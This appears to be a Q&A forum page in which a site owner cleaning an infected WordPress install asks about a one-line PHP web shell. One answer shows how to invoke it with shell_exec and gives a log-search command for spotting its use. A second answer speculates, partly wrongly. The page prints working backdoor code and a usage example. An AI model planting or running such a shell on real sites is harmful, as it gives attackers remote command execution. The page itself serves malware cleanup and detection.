Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What does this line of PHP code do?

Tags:

php

spam

I extracted this from a wordpress-site, that happened to be infected and gets cleaned up by me.

<?php ($_=@$_GET[page]).@$_($_POST[404]);?>

I suspect this line to be SEO spam, but I am not able to get the meaning of this line.

like image 729
moestly Avatar asked Sep 25 '15 15:09

moestly


2 Answers

It's a PHP shell. If you rewrite it to the URL file.php?2=shell_exec&1=whoami executes the command whoami on the shell. In your example, one param is passed by POST, one by GET. So it's a bit harder to call.

You could also call other functions with it. The first parameter is always the function name, the second is a parameter for the called function.

Apparently it's explained on http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) but the site doesn't load for me.

/edit: If you have access to the server log files, you can search them to see if the hacker used this shell. A simple egrep "(&|\?)2=.+" logs* on the shell should work. You only see half of the executed command (only the GET, not POST), but maybe this helps to see if the attacker actually used his script.

PS: That was answered before here

like image 84
Ralph Melhem Avatar answered Oct 03 '22 16:10

Ralph Melhem


Let's break this up a little bit:

($_=@$_GET[page]) . @$_($_POST[404]); First, this is two expressions being concatenated with the period: () . ().

In the first expression, $_ = $_GET[page], $_ is a variable, and is being assigned = to the variable $_GET['page'], or perhaps the output of an anonymous function it references. If $_GET[page] does reference an anonymous function, the @ would be suppressing any errors from it.

The second expression, @ $_( $_POST[404] ); is starting off with error suppression @ of the anonymous function $_, which you can tell now is an anonymous function being called because it's followed by (. The argument passed to this function is $_POST['404'], and then the second parentheses just closes the call.

So I think your suspicions are correct; this looks like obfuscated code intended to look innocuous or part of the site. I suspect that the values for $_GET[page] and $_POST[404] are perhaps javascript strings whose echoing on the page would install malware or adware.

You can debug this more by looking at the values of those two variables and seeing what they are.

As best I can tell without knowing the values in GET and POST, it looks like the variable $_ is being assigned to the string $_GET[page], which would be whatever someone submits in the URL when they load the page. So, they are able to pass the string name of any function to the site and have it in PHP's scope.

Then, they are running that arbitrary function on the $_POST['404'] value. That value also is whatever the browser or user POSTs to the page.

The concatenation and outer parenthesis ().() might just be more obfuscation, or the point of this code might be to simply echo the results of this code on the page (to inject javascript) for example. But, it's also possible they are calling whatever function they want on whatever argument they've passed. I can't tell just by looking, but someone more conversant with PHP probably could.

like image 39
user151841 Avatar answered Oct 03 '22 16:10

user151841